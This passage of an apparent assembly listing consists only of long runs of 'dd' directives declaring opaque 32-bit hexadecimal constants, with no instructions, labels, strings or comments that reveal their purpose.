		dd 0F4366B76h, 7408C6BEh, 10510BA8h, 3338515Ah,	908F0C53h
		dd 25527A96h, 7F64EF3Ch, 0F4C8AD8Eh, 77DD47A5h,	9E05308Eh
		dd 0A24B32A7h, 7FE74286h, 535CA7F7h, 4F614CFCh,	0E02E02F5h
		dd 0F43D7E6Dh, 8E16E66Ah, 0C08B261Ah, 0B001C1FDh, 1F756B00h
		dd 0BC3BC606h, 5AAF5E2Ah, 6426867Ch, 0F1FD550Dh, 13C3EBA4h
		dd 0B53D4350h, 0C6DF7B08h, 3F1FD469h, 4B2568Eh,	0B618483Dh
		dd 57727B07h, 80D69883h, 16AF578Ch, 7C3E5ADDh, 0DAFDE975h
		dd 0C4B29AA4h, 5A9E7D63h, 0A931E00Fh, 0DD76D985h, 0FBB81177h
		dd 0F7D6FCF9h, 9E9D94A8h, 0CD8B5A6Ah, 55AAAFE0h, 756FC831h
		dd 8E25EA3h, 0A40B3B60h, 0F05CB4BDh, 22F258AFh,	2CF83B56h
		dd 0BA6A3422h, 34FA9D10h, 847B23CCh, 4470FBECh,	6FF22480h
		dd 0DF0027Fh, 0E574934Eh, 26125DC8h, 5FC7843Bh,	0C4FCED0Eh
		dd 410FDF23h, 8234994Ch, 0A5C527BBh, 0D637B522h, 0E7555B3Eh
		dd 0DE59F233h, 0EDD9B884h, 20A6DE52h, 0C9FD0E3Dh, 131E4EA0h
		dd 0A7D7BB21h, 6FFCB176h, 0DDDA3B2Fh, 4FA8EA2Ah, 5961B38Dh
		dd 4999F831h, 2CE4211Bh, 97CDC807h, 8A116DEDh, 343AE359h
		dd 20CE72FFh, 19518007h, 3B33420Eh, 52979DFEh, 0C4DA814Ch
		dd 8C481C80h, 0B96734E1h, 60004A58h, 48D2F1CFh,	901422D5h
		dd 23C5AFB2h, 0AFB0B2E3h, 19739A7h, 0D0ACBF8h, 291A14F0h
		dd 260DB6AFh, 0CD1F4A80h, 5208AEEEh, 0F7FAC60Ah, 81241184h
		dd 0F39E3EFDh, 24E06EDCh, 9F2A37EBh, 5C75C09Eh,	8157940Bh
		dd 7F6EB036h, 0ABF862C2h, 0D263027Eh, 2506332Fh, 0CB004E89h
		dd 438A7EC3h, 0E93A2B88h, 6442F809h, 422F9BB6h,	0B27D6C97h
		dd 0D4A5B78Ah, 3A18778Eh, 2913B0D6h, 0E4AFACA5h, 437CC63Eh
		dd 8C23D843h, 10CE174Dh, 24F65A65h, 0C45C8E97h,	0D7705BB6h
		dd 6B891B8Bh, 3E4CDACBh, 0F8190269h, 0CA982F0Ch, 0BC68D1B1h
		dd 976FC0E5h, 9AACE7E4h, 0E6B99882h, 179BF7F8h,	7405CDA2h
		dd 4169E11Fh, 3981F072h, 49B0D882h, 17295A43h, 0FEA9BDC8h
		dd 40384CDAh, 9DB9E0E9h, 767A00E5h, 0A1579C52h,	965A98BFh
		dd 0D40229A2h, 0D793E5A8h, 0C63D89E7h, 0C76DA34Fh, 22C33D77h
		dd 68DB6A5Bh, 7F7FF9FCh, 6C643D4h, 0EA2BD4E0h, 87CCAF09h
		dd 728ADAE8h, 0E89440B7h, 0F75C0118h, 0E18D18FEh, 0D5BBD925h
		dd 84171752h, 0BF22C16Fh, 0FB78D0ACh, 0C2C68262h, 43740D5h
		dd 4B6313A1h, 0AFC0758Dh, 4F0EE57Bh, 9046BEF7h,	8F74B6ECh
		dd 7C9466FEh, 0BB48DBCh, 48304049h, 897239CBh, 5E64CBD9h
		dd 0C2A9F5D0h, 7D272B4Ah, 0B0D42199h, 0C35A85E4h, 0D8400689h
		dd 8EF433F6h, 95DE7CA2h, 0A944402h, 7DABBB6h, 0F9E874B4h
		dd 73A47F0Bh, 0D6B4AF9h, 7A7E54F6h, 0BCA6C500h,	7DD887CBh
		dd 0E6CABB4Ah, 4C60C339h, 7C8107ABh, 21ABEC3Dh,	692984D7h
		dd 98E42628h, 7F05A4CBh
		dd 0C59A797h, 4D6C84B9h, 84DF852Dh, 49E78BAh, 96E74F5Dh
		dd 4CD1DEEDh, 2CDF171Dh, 8A044822h, 74E3CC19h, 8B478233h
		dd 0BEF2C412h, 0D4C6152Ah, 0AC0BB947h, 13396E92h, 938A7509h
		dd 9EC1A547h, 373564ABh, 4BB859DEh, 14846A49h, 4A1709B3h
		dd 0EEFE2C3Ch, 74C765DEh, 0C6BD7B12h, 0F6C10C4Dh, 353355Eh
		dd 0ECB9B6C8h, 0F854ECh, 0F5243A01h, 0E8DD7AB5h, 0E310BEABh
		dd 0D6B96953h, 1DB50D60h, 7CD856Ah, 79F8B3AAh, 4463F022h
		dd 84A9C8D5h, 240D0CBCh, 59526CFAh, 0D31146D4h,	0F6E14EF2h
		dd 0B91CB8F9h, 7A36CA75h, 0DA4C7F68h, 32B9D5ECh, 0FA480139h
		dd 7E43B283h, 0FD85234h, 6B340B4h, 0A6F2B0DEh, 9FB0F486h
		dd 0A18D8DC0h, 0BA3D16A9h, 16937CFCh, 3810D5C2h, 0E53C29C2h
		dd 4315849Ch, 8F9D6673h, 0EAEE866Ah, 0C72AC2ACh, 0ACC5BBF6h
		dd 85547DC5h, 0E87B69D1h, 7EF598A9h, 81F7C3C9h,	7246A670h
		dd 9A9E6F95h, 1CD98023h, 467BD7D9h, 606FE263h, 7186CF2Dh
		dd 3EE40DC2h, 4A585C4Ch, 1E09883Fh, 0FC72E316h,	1C681858h
		dd 2332C91Bh, 3C8FA6BEh, 0F48EBB46h, 0B66652BDh, 445AE2DCh
		dd 0D0827867h, 7CAF148Ah, 3B179C18h, 0C47DF0DEh, 5D9E8E65h
		dd 0A292A63Ah, 0B5A3142Ah, 0E20F8E15h, 1DC15D59h, 2E7A5A9Ch
		dd 3DAF5546h, 87C284FEh, 94A052A8h, 0DCFA409h, 8F4595E2h
		dd 355CB4AAh, 0D9197CDh, 77D76390h, 27FA2726h, 0CAC875DCh
		dd 73F7A9D5h, 9BFD5542h, 0BF80E049h, 3B30D2ECh,	0B52C2E38h
		dd 0D4555642h, 3F02E303h, 0AE010060h, 0FBCF4830h, 0A5C2B815h
		dd 5DFA41D9h, 59180AB8h, 0C295C426h, 83214042h,	0A67D9A39h
		dd 3E0D12C7h, 0D23E613Ch, 0C921574h, 0E4874AA9h, 0BAED200Dh
		dd 0DB273AB0h, 0EBE355B6h, 0B7A8E437h, 2BD32FE5h, 7C1D4AD6h
		dd 0DC3BD42Dh, 8062839h, 0E7FBBEC0h, 0E14CB9E5h, 0C2A92174h
		dd 0B2DCC27Ch, 415EF070h, 39324316h, 6BFEBFB3h,	1D332382h
		dd 25DFA999h, 3399D231h, 0DCCBE883h, 0D63143AAh, 0A657514h
		dd 0C69715E1h, 732FF1DCh, 8B09437Eh, 10B620B7h,	4FD56644h
		dd 0A7D0AB07h, 34E49h, 49702F16h, 24425E44h, 854B2306h
		dd 71EB9789h, 7B60886Ch, 0EDDB457Ah, 10D47318h,	7B354ABEh
		dd 9B6FB54Ch, 4BC5D4C3h, 0DFA79300h, 4BC098C3h,	13AF662Eh
		dd 0A62D951Eh, 0C6D657E6h, 8F1A384Eh, 0BB0067E8h, 0C6DBADC8h
		dd 505B54A6h, 0DB22DE75h, 600AC2F7h, 0C80A36F9h, 1410F15Ch
		dd 6F55BF8Eh, 383EF45Fh, 1312C345h, 0AB890F74h,	0ACE3080Eh
		dd 40AF6B46h, 0A912C841h, 0BD133B8Ch, 70778C1Dh, 8AEFA864h
		dd 0CE824A2Ah, 9B10D676h, 0BB078E1Fh, 0D2CC50D5h, 88FFC986h
		dd 21AD0753h, 0D2C42204h, 0A5CF0C97h, 4CFC9B79h, 9E422111h
		dd 608FD10Fh, 41B0DC75h, 4C6A5D0Ah, 8DDCF366h, 81B92F2Dh
		dd 73D755F6h, 0FDE2C5FFh, 0E203EEF1h, 247A19CFh, 5F442FFFh
		dd 0B3737653h, 0D83E91C9h, 0D93A85F5h, 0B2417765h, 0DF2E90A2h
		dd 0EB729B3Ch, 0CD862203h, 0F60AC42Ah, 0D0DA98C7h, 6EE1AFC7h
		dd 79D3F4E6h, 9A9E3BE0h, 0FC260C53h, 0CE5C0D02h, 0CB4C06D8h
		dd 0DB916985h, 6D980CADh, 8F726E37h, 408D636Bh,	6361F851h
		dd 1D919541h, 1FAB92CCh, 4A5CD25Bh, 8918FDF3h, 8FB79513h
		dd 0C005F915h, 0DB1E305Ch, 0E82093F8h, 7F7E52A6h, 411BE72h
		dd 735E313Ch, 97E03849h, 39BABCF5h, 0E26C145Eh,	630E7BBEh
		dd 70FB30FAh, 9F86DEFBh, 0EB45CADEh, 0AA10C4CCh, 0B0F1D1E2h
		dd 20657B09h, 0E83C28B4h, 0AA9B36Dh, 9D7EA4A1h,	0A57D3913h
		dd 0E1D33E61h, 4C59030Ch, 0F7EF1A3Ah, 376F6297h, 372B53C7h
		dd 23CC313Eh, 0E967012Eh, 3E469875h, 14D2B196h,	0C22D68D8h
		dd 0CDB53A30h, 3AADB772h, 15B693EEh, 494FE911h,	4ED1EF97h
		dd 2329A5D2h, 3A05CA90h, 424882A4h, 2ED5F246h, 0E3E0E379h
		dd 86FB3F79h, 8EE8FC99h, 2416D6EBh, 25A7DCD0h, 1BA69953h
		dd 2CC5BE20h, 54112120h, 0A6AA5692h, 0B9349DE8h, 21B2C498h
		dd 0B6CD01A5h, 0DE1CC5D6h, 3D774F17h, 1C51C5C3h, 0EE2F894Bh
		dd 3E695825h, 32186759h, 631D7BE1h, 15C1A4C6h, 0AA81E476h
		dd 0D5A6A1A6h, 34825FB9h, 3F6E7140h, 8BB96F5Bh,	0C4DFBA7Fh
		dd 5053DAF4h, 11351695h, 29D2A940h, 0DEB5084Ah,	9B0A57B0h
		dd 4264B6E5h, 12386B6Ah, 1FB6FA5h, 74B0C85Eh, 2F243FDEh
		dd 31C534F0h, 0BCD08BEBh, 292E7340h, 0CA939EFCh, 7D052170h
		dd 0D3FDE151h, 0A7BCA6A3h, 8AC4E6Ch, 0F1C2F4B0h, 0BB1A7DBEh
		dd 0FEA432AEh, 7CA21CF1h, 3E5F3C34h, 7D4669A0h,	5F7FC7E6h
		dd 4FDECC16h, 0EF578879h, 861F048Dh, 0C2CD4261h, 11BA4339h
		dd 0BE07A3FEh, 69E1C679h, 0CE6C809Bh, 69E1BA1Eh, 2C966BEDh
		dd 2EB8AB2Fh, 60331ABDh, 2004832h, 84A7415Bh, 9B466946h
		dd 0AEB68FFCh, 79C6F44Ch, 46D25157h, 96E1929Dh,	0D32947F1h
		dd 0C85858EFh, 6601EDC2h, 2832D9CBh, 8BEE78B1h,	73222h
		dd 2EF9B11Fh, 9972B3A2h, 0E7FEAABCh, 0E6D6A674h, 872C328h
		dd 5F174E62h, 408BB4Dh,	27408E96h, 700B0DFAh, 78B74788h
		dd 9C8A20A6h, 0E246F1EBh, 0BD1AB8E3h, 0A72B901Dh, 0BE86C021h
		dd 0A217C022h, 594B9740h, 955076BCh, 888C36A6h,	0DF9D66FFh
		dd 1616AF86h, 0B7D7DE66h, 0F9EF4329h, 98DEE969h, 0D65E7EDAh
		dd 149E165Fh, 0A66BCC99h, 0B4BD201Ch, 8F9D88D3h, 4D6C0841h
		dd 0A40D239Ch, 9816715Ah, 70364F08h, 3E0C8D34h,	0C462BB41h
		dd 2A8C5E4Ah, 0A41860B0h, 695F92C4h, 7469BD7Ch,	605F1F75h
		dd 18E63910h, 0B4378C00h, 32D94DC0h, 2AE8AA28h,	0E40A88E5h
		dd 0D61E1CADh, 611187AAh, 6B95544Fh, 0C534808h,	65517636h
		dd 0F0D1329Ah, 309CD83Ah, 441C46F5h, 0AD9F27A7h, 9BE750F4h
		dd 0FA1EA2C5h, 5ECFD85Bh, 458CA951h, 58809D79h,	84CEC951h
		dd 5D86BFCFh, 35B0CE9Fh, 0D3A6A9E9h, 0D9DF735Eh, 0ACBC5253h
		dd 556C6F2h, 0CD4BC989h, 7D857901h, 38A8B14Ch, 4A1972E5h
		dd 8167E5B3h, 649D6FBCh, 30A97EB5h, 0A7561D40h,	0A2190065h
		dd 19F9EE76h, 0AA56808Ah, 280D60E9h, 9763F1F1h,	3461EFC5h
		dd 9848469Ch, 0A84A98C3h, 3CC18996h, 1E966B38h,	0E9499849h
		dd 0F1CA057Ch, 1A92DE16h, 0EA21DE99h, 0B63FDF52h, 3E745327h
		dd 21D1AB61h, 65C7E46Dh, 320AB8E9h, 0C053CE47h,	0A39F31E1h
		dd 65B24D58h, 5D0251E0h, 7C14CF1Dh, 6B2E7C9Bh, 7E8A3E3Ch
		dd 3AE4FFC8h, 0BC54D690h, 1AD11722h, 5D14BD37h,	0C75BC4DFh
		dd 11B8AFA4h, 0D01DF095h, 0A577874Fh, 8A2C6634h, 9DAAC8BDh
		dd 415B659Ch, 1D895CF3h, 0DC3EA0A7h, 0C45788D1h, 0B495BE88h
		dd 0B4DFBF8Fh, 12E62B1Fh, 0C7A7DE6Fh, 9EC496Fh,	0D23F55A5h
		dd 0D4644C72h, 4A8687A4h, 0C0825DF8h, 62F2B2E0h, 50E2EF7Fh
		dd 40855EF7h, 54215F1h,	66B22F43h, 839ADCDFh, 0CB8F997Eh
		dd 0A93E42A4h, 0B4B45E10h, 9BDA61F8h, 0DAF1D4B3h, 0BDB2FA87h
		dd 0C2F2393Bh, 0CC21923Eh, 568F8CB3h, 0ED8E3CF1h, 0E0BA9E62h
		dd 63132148h, 314683Eh,	9C0302E8h, 4E183771h, 1C94E660h
		dd 0D1728132h, 8D9FD3Dh, 3A539FC0h, 697C65D3h, 891FB681h
		dd 0E47176ABh, 0AA3A6B39h, 0D94CB155h, 25E0B495h, 864450CEh
		dd 0F4179134h, 0D818D621h, 2AB312A9h, 0B6FD87DCh, 6CA0F1CAh
		dd 68405E4Fh, 33729E18h, 6EFA6582h, 0E9E5FE00h,	8549B522h
		dd 879A32CBh, 0D4B8FF76h, 0CDB04F04h, 45A206A1h, 6D65690h
		dd 0F4EBE53Ch, 4592C8FBh
		dd 8FC66DA6h, 711ED027h, 0FE582D78h, 40265190h,	44166E84h
		dd 0C6D11A5Fh, 0B501FC4Ah, 5CC6F8E1h, 0FD918F80h, 65E6330Fh
		dd 6BC443FCh, 28B3A603h, 0C4FEFB3Bh, 855846h, 0BF35486Bh
		dd 440801BFh, 4C67FF99h, 0E2A29F35h, 0FE65CB76h, 6DE2126Ch
		dd 355783D0h, 8DFC9174h, 5C0B3F69h, 0E7E429Ch, 7AD8EAB9h
		dd 88A3AE24h, 590297CEh, 89CBA7F8h, 0B1722073h,	6EEA5745h
		dd 3FFE4494h, 3C2BFD51h, 0EF12E353h, 1686C64Ah,	962688AAh
		dd 92634E60h, 1C613821h, 7F22B89Eh, 645C5CC9h, 0FD598567h
		dd 0BF228F55h, 0FA33B872h, 72063EC3h, 53A30A5h,	0AFBBAF83h
		dd 0F8D96A54h, 0A8610B86h, 0CDFE5789h, 0F2FB97D9h, 354E4AE7h
		dd 38C6F706h, 7D01C647h, 9CA5CE39h, 0B2BD2758h,	5F7E07FFh
		dd 342DA2C6h, 15EE64B9h, 0C6C43848h, 0D9A6FDFFh, 45D46270h
		dd 874446E3h, 0FD763205h, 0BE96AFD7h, 0A0C1AD36h, 0B42DEDBCh
		dd 5184DA25h, 10257B68h, 0DB16A047h, 0E63B992Bh, 0F3AB800Dh
		dd 0FEEBD6FDh, 0B96EB342h, 10D8B27Eh, 48E5FE10h, 0FC909F78h
		dd 4F880BF8h, 2D49117Ah, 348E4004h, 4A07CCB7h, 26DD9E0h
		dd 0F3E7D961h, 33BEFD63h, 5FE01DE4h, 0D79B9E5Ch, 0D1635240h
		dd 9B51B5FCh, 6BE25B3Eh, 80C75998h, 38956CF3h, 596CD42Bh
		dd 1B2B2C32h, 8BD04771h, 6B60C25Bh, 29540896h, 88D6C92Ch
		dd 8073FDABh, 0A6ED4EEEh, 5FF07692h, 144A6065h,	8B186727h
		dd 2E023C1Dh, 0B9C2D05Fh, 29C1EA5Fh, 0E73A7467h, 508CF827h
		dd 0E08C27A3h, 3467EC65h, 15985A31h, 0E3A01BA0h, 3EBEE5A8h
		dd 1F33E48Ch, 0CCC26639h, 40867A82h, 6DE11D19h,	0AF0F438Dh
		dd 48A6C2C5h, 0C76B1625h, 98BF9907h, 8ACFE916h,	0DC7E3848h
		dd 0C2E4B847h, 4670F54Ah, 75EC905Ah, 0A0883096h, 41F3F44Dh
		dd 6A7C3520h, 37820C76h, 91637002h, 74F3F716h, 9ED81EBBh
		dd 9D0B92E2h, 0DC817BDBh, 0B64EF16Ch, 147F3784h, 75F4F8CEh
		dd 53532CCAh, 67A486A1h, 7AEBAA91h, 0CD9D7E6Fh,	0D8E9E897h
		dd 0EF4BC032h, 15CDB4E3h, 14AA5069h, 907BDC35h,	7F70900h
		dd 777872CFh, 674A0D38h, 612DD1E2h, 0ABA5EB83h,	8D4879F8h
		dd 0C6E8C198h, 48F5B0DDh, 0ADA711A3h, 0A0D15911h, 0E2666D7h
		dd 0FE8B6F8Ch, 0FC3E0A90h, 14156BFEh, 0F4E2B634h, 7F41B8B0h
		dd 0A2C92EC5h, 0ED7E161Ah, 0B5A1FBCDh, 5AE48534h, 0C4368185h
		dd 9193BDBBh, 57DB06B7h, 0F874BE1h, 11BC6FA1h, 1364A09Ch
		dd 29FA1C5Dh, 0DF62C2C3h, 1B8F70B2h, 0EF28FEAAh, 85E4E4A1h
		dd 99953565h, 967A8080h, 1FA51A9Fh, 5B1DA623h, 0F52BA673h
		dd 24578834h, 5648DC5Eh, 90D2B180h, 0ACA27D6Ch,	4FD68E09h
		dd 2BFDD67Fh, 0BB36E2BEh, 22A2E52Dh, 2DE17DB9h,	5E9C18B2h
		dd 3E6FBEE2h, 0E6CFC06Fh, 6987B5EDh, 27D191BDh,	18F47D56h
		dd 0C78908E1h, 9BF37B61h, 0B33D1083h, 164A28C9h, 337107E3h
		dd 1A37BE35h, 0BFCB6F8Ch, 0A0115F8h, 8DB9A39Bh,	7E71A369h
		dd 5F2B3B3Dh, 269F8ADAh, 0E7BA6B26h, 0D191C16Dh, 38C824D4h
		dd 508F1684h, 0D2637C17h, 6B0ADF4Fh, 0A601266h,	1C3DD242h
		dd 0ED29A8F8h, 0C9B4957h, 92BB3904h, 62B6418Eh,	6BB57800h
		dd 93E3EE8Ch, 9843E05Eh, 0C9AA7E07h, 72D94DE9h,	0D1ACD32Eh
		dd 0AAC0FB3Dh, 2FD0EEFBh, 0DF925B19h, 6DC11B03h, 0D7F32CC6h
		dd 81B6254Fh, 4DC0675Ah, 0FC9F36C7h, 51571C62h,	441B3EF9h
		dd 4F5796Eh, 0EDCC6EB0h, 5B01507Eh, 0E8F43C12h,	47D2E3h
		dd 0E907C3F8h, 11C95D05h, 40B33281h, 0C49FCA33h, 794DDE2Bh
		dd 10D0F44Bh, 0D584DE95h, 0E3837E96h, 0CCA1370Ch, 6D8C1C58h
		dd 0FE91437Dh, 18A5D835h, 0CAD99FD9h, 27CFDBEDh, 0D8F9FFFAh
		dd 0F0FE2F43h, 6789B67Ah, 224F37A6h, 65C16D84h,	0AF82E55Eh
		dd 0E1ED8EE8h, 925796DBh, 0E6D095F0h, 6970D6DEh, 210771D4h
		dd 0D609C9h, 0FE165C38h, 809C976Ah, 636F2CA4h, 0F7A1B43Ah
		dd 0A67DA2EDh, 8865E30Bh, 0ADDAC8B5h, 21613DDAh, 3832F219h
		dd 56CA71F9h, 0FB101152h, 0C0192AEEh, 95BB2C96h, 9C308835h
		dd 5B708949h, 29CAB5A4h, 49470CAAh, 0FEE8670Ah,	5ADC77C5h
		dd 3ED5A626h, 0BC114560h, 0AF69E126h, 3A986A5Ah, 0C77226C0h
		dd 34F06801h, 500A900Fh, 2881B5E3h, 36AE0D48h, 9C84AC71h
		dd 65674C97h, 3E132E9Dh, 4829F6ACh, 0CBE9A949h,	0D2207530h
		dd 8360D8A9h, 4AE368FCh, 5DACA510h, 0A62C611Eh,	0F8EDBBA8h
		dd 8E4E1358h, 0BCFA37Ah, 0E9FE62C5h, 0D531FF26h, 0C0D2C67Ah
		dd 0F25D5E67h, 7F69CAF7h, 0EEFB0050h, 0E2E5CBC8h, 0A49F6E96h
		dd 32609CDAh, 5B23E080h, 0BF076CB6h, 0B6486848h, 0A1FF815Ch
		dd 6D1823B1h, 12DCB38Eh, 22BF4E20h, 0DD789D54h,	0D455A33h
		dd 4D4F177Fh, 0B7D13CBEh, 39011F8Bh, 0B13B7032h, 2E2E316Bh
		dd 0CBBFC7C2h, 3604A81Ah, 0FEBFBD4Ch, 0BCCE4DAh, 0D9F6D452h
		dd 0ED93B440h, 6BE4EBA9h, 0E4115507h, 0C5CD87E1h, 0FFAD1E91h
		dd 0B1DA6781h, 94708329h, 1DAF4EB3h, 8DDF4B26h,	6E52F0D7h
		dd 0B4A02264h, 31D29F37h, 4494A3EBh, 59248772h,	6A7CC74Ah
		dd 9AA21229h, 0AA9F363h, 20175702h, 0FA48B3DCh,	287F4EEFh
		dd 0A26A10ABh, 83A3D024h, 86FFE8CCh, 5910C8F5h,	0CC3E0B04h
		dd 0DE00EE3Fh, 0FC8E2F2Fh, 0F52E0A51h, 857B40F8h, 0EBBED6A3h
		dd 0A55A9DB0h, 0C4C12035h, 2BB8C4BFh, 478D30Ch,	2CD3C4E5h
		dd 1DC0C2EDh, 0E17F858h, 0E3472161h, 0BE4A853Dh, 241A91F2h
		dd 98B9B2DEh, 203AD0A0h, 32AE8BB3h, 2F4884ACh, 0F5F6097Ah
		dd 16EA4A49h, 1D41650Eh, 0E7CA0315h, 0D2119DBFh, 0EE384117h
		dd 1F486026h, 4FB10C2Ch, 94DE92DDh, 545EF727h, 28984E39h
		dd 0C4245E69h, 78A6E741h, 8F3EAB87h, 6296E72Bh,	43F2A6DDh
		dd 9CF24042h, 32DA99DCh, 6B753FF7h, 5E6D5012h, 2EEE0B29h
		dd 0A7E85DD8h, 0D56FE2ECh, 481D4A72h, 10BAB81Dh, 4F9C9A2h
		dd 0DAED64B8h, 1C0B444Ch, 33517441h, 1512D07Dh,	88EC8D45h
		dd 0E4185CD5h, 0CCFA9B44h, 2591CB06h, 5AD3A280h, 63B0EEDBh
		dd 0D10732A2h, 13EA82FAh, 41489F77h, 7ADD864Eh,	0E4C994D8h
		dd 7646A6C5h, 0CCB495B4h, 797C7E85h, 0A602D765h, 0F6FE946Ch
		dd 0F192335Fh, 1376E721h, 0C3ADDD5h, 68BD1660h,	3B2B30DDh
		dd 0A457C623h, 9F9FF1FEh, 0C461476Ch, 0C3544BF0h, 82500C2Ch
		dd 0E9E7A3FDh, 0A875FCD5h, 546295D1h, 0A86A739Ch, 8700512h
		dd 0D6D97ADh, 0C427B6AFh, 914A8D41h, 0C4FCEA41h, 8C79BE3Dh
		dd 0A49AEE55h, 0AA72C219h, 696ABD55h, 8192811Dh, 0FD5F5A4Ah
		dd 2192CACDh, 0EFB35316h, 37FC977Bh, 59C174A5h,	0F2104529h
		dd 67F5C50Bh, 4D7D3C48h, 0B4C7A047h, 0A24F4064h, 9212DC21h
		dd 0BE45112Dh, 8E58F17Dh, 0DAE4CA60h, 0FDBAE956h, 581F2688h
		dd 6BDD4EC2h, 95705CD0h, 0E8C4D1FAh, 964A5779h,	907AFB4Fh
		dd 64EA811Ch, 6ED8867Dh, 0E42832A5h, 0BCD925CDh, 1773C0B0h
		dd 0A6D71696h, 76C3EF6Ch, 79831997h, 0A4C1A0F3h, 68E024F6h
		dd 1CA7939h, 375DEEFBh,	0F5A12FFCh, 22D0799h, 7A730D58h
		dd 0EBC15FD7h, 0F5C683F4h, 0AE0DF47Ah, 9FE20F6Fh, 3058C325h
		dd 0BE517EDDh, 39E4BFD7h, 0C2DA9D77h, 0FF364F7Ch, 6F3B1BA0h
		dd 85FAA4CAh, 22B611BCh, 872D743Ah, 0F05CDCB1h,	37AB1FE2h
		dd 4C8E1480h, 3DED2606h, 124D4F3h, 0F2F3CD9Dh, 33298316h
		dd 0E4668A98h, 6F09A456h, 0D14A4ECEh, 36C51074h, 0E13E7230h
		dd 1E033359h, 0C748333Ah
		dd 8C6140F1h, 93657F2Ch, 6C7A8A35h, 0F8043DA0h,	7FA30E19h
		dd 371F8F81h, 27EDE3BFh, 0AE5DA399h, 0D7D0B26Dh, 0F3D337h
		dd 0DE72EA3Dh, 903288B6h, 0A83E295Ch, 3D26D5BCh, 52E911AAh
		dd 3AAD6D48h, 0FF4DB435h, 0FAE20240h, 7BCF0AF4h, 29E8A6E3h
		dd 54193AB9h, 0D6935DBDh, 5F221280h, 0B656BAF3h, 0BDAE942Dh
		dd 8950E080h, 0F8F6FBB3h, 0F6C4C9E8h, 5E906AEEh, 36C05B94h
		dd 4DEDF1E7h, 0D67BE8BCh, 85B8E783h, 91754B3Dh,	94407922h
		dd 0DC3D5EECh, 0B6953F9h, 2676060Fh, 0F313D1ABh, 6E0019ABh
		dd 67F60C04h, 33DCDBC4h, 9E4E3561h, 3C6288C6h, 0A7B61AEh
		dd 6D658F6h, 6D91FFB7h,	0A2341235h, 0A3E2EE77h,	20325483h
		dd 36D467C6h, 4B328502h, 0FC37AA1Eh, 0D4E0C063h, 817A7595h
		dd 9DBE66FDh, 0DE1D5B88h, 0ADFF44Fh, 580EB735h,	595657B8h
		dd 0C0C5B98h, 0CCDDBD1Fh, 0BCE8B2FFh, 0CD588BF1h, 41530E16h
		dd 0D6438972h, 9F9C0D00h, 39814E4Ch, 0CD19B75Dh, 703F44A4h
		dd 5D540897h, 0AB4765A4h, 610F1424h, 329796E4h,	25E29FD0h
		dd 0F2B60D8Dh, 0A2BB4B4Fh, 0E3696F2Ah, 0B277F65Fh, 0F4FA2D2h
		dd 0D06D75C3h, 1BFF8368h, 32B3B395h, 0F3392DE3h, 0C5DE6534h
		dd 6796A20Ah, 26E9FE90h, 89AC6308h, 0D47872A7h,	0DB056E12h
		dd 0C8AB25CAh, 0A6F29C2h, 0EBB61C82h, 95220145h, 2266F986h
		dd 0B07E54D9h, 0ED03366Fh, 56ED1F35h, 3E1D7F5Eh, 0B99C6DC5h
		dd 0E0F7F4B3h, 95A9D0D5h, 0D4440601h, 54B1D095h, 19580475h
		dd 0F373DA07h, 4E513156h, 30BBD6F4h, 0B76485F3h, 0F7E11DC0h
		dd 979EA90Dh, 0A5D3ADE8h, 901D99EAh, 0F90F549Fh, 0B381C5A0h
		dd 47CC49D2h, 484CC257h, 0E25F799Bh, 0D4597471h, 0B82DA90Ah
		dd 1C9D669Bh, 0C04AF72Eh, 4305525Fh, 0BD82353Bh, 0DC7D3C2Bh
		dd 4A5E31B1h, 0D3108DB5h, 0FA5CBF79h, 531CADB7h, 0DABF5F90h
		dd 0A53B3B7Ah, 8BBA3D6Ah, 4A7E9D0Bh, 48D690A6h,	7E87CACFh
		dd 0E8D9255Dh, 3D868F01h, 0D351EE99h, 5B735389h, 5C41AEA1h
		dd 50C7876Fh, 3563F5D0h, 9A444B39h, 0CD17ED84h,	846FC06Fh
		dd 16DF8C27h, 0A8B5446Fh, 3B3A96F5h, 78D05807h,	894D6E11h
		dd 49B9149Bh, 0DBA32520h, 0FE90BEA3h, 369C0176h, 543AC9A1h
		dd 8C0C3EB8h, 0E291D4D4h, 0D6FB18D7h, 72DB8022h, 2011A40h
		dd 0CDBF864Dh, 86E5EE95h, 0B03E4A01h, 652EF67Ch, 730EFCA8h
		dd 0D53DE8D6h, 0F5E6452Bh, 0DA506AD3h, 5CF0DCD0h, 580980D8h
		dd 9219E582h, 0BC8B85C7h, 73E36B41h, 0AF51A539h, 35438DFAh
		dd 315774ACh, 6542F3A7h, 0B5BD6F16h, 0DA1E8C1Dh, 5D3B480Eh
		dd 0EBA9541Ah, 0D9E398B0h, 0F7B2CE29h, 0D067B3C7h, 831C9FDCh
		dd 0C6081F09h, 0C4F53C21h, 68A35458h, 0F5EE61EAh, 192AB2B3h
		dd 0AE8C6696h, 0E25DF232h, 0A9AA3A7h, 0A384DBDEh, 0A41F75BEh
		dd 4B612125h, 91D1C981h, 134EB244h, 852EF1h, 99FD62FCh
		dd 1A352BF7h, 3D6F83D9h, 5903141Bh, 0A16BFE7Fh,	5E055F84h
		dd 46915074h, 0FEC22343h, 0EBF8DED5h, 6BCD0776h, 0C497B627h
		dd 0ADB72B28h, 215512F2h, 81D72B97h, 7DCA5E6Ch,	83AC32F2h
		dd 0B0ABF674h, 0E5633F3Bh, 0D301DDAEh, 9B659C33h, 68BCE083h
		dd 52FD02C4h, 1346443Ch, 44C7B77Dh, 7523F269h, 4A0E8DF7h
		dd 0BCD81750h, 0E46A9881h, 50D64491h, 31DD34C6h, 31D8442Eh
		dd 950B0D62h, 0B7CA212Fh, 34F38F8Ch, 0D8599416h, 0DCB52C18h
		dd 0A194F232h, 51F826AAh, 0B14CDA53h, 33314311h, 0F0840CAFh
		dd 0AC66A01Ah, 9BD80158h, 0F3314C7Eh, 6742432Ah, 30F88E8Bh
		dd 0CF54E5FEh, 5C71FC8Ch, 18955910h, 9CFD1807h,	0B5A92FC8h
		dd 2DD76306h, 0C6A81217h, 0F73E5576h, 0A8720DFDh, 63550DAFh
		dd 4889C0F7h, 0ABDA80ECh, 71D4453Ch, 0E3746C62h, 0DF26BB6Ah
		dd 1DEEB18Bh, 8D62C11h,	5B359205h, 0C38C1A50h, 5F9CAC4Eh
		dd 5D332C1Bh, 0E6E9ABE7h, 948FA1DBh, 676D90D5h,	5CB4F76Eh
		dd 3946A65h, 9C7C336Fh,	0CB394115h, 251D212Eh, 771167D7h
		dd 59E77DB5h, 3E4986C2h, 3F9007D9h, 0A1A62D2Ch,	3A3CC643h
		dd 0A5E7F436h, 7FF6BE8Fh, 0A8019A1Fh, 0E5754808h, 182F98F4h
		dd 98FB767Bh, 0FDEC4A41h, 95813E4Eh, 1569326h, 274B1D09h
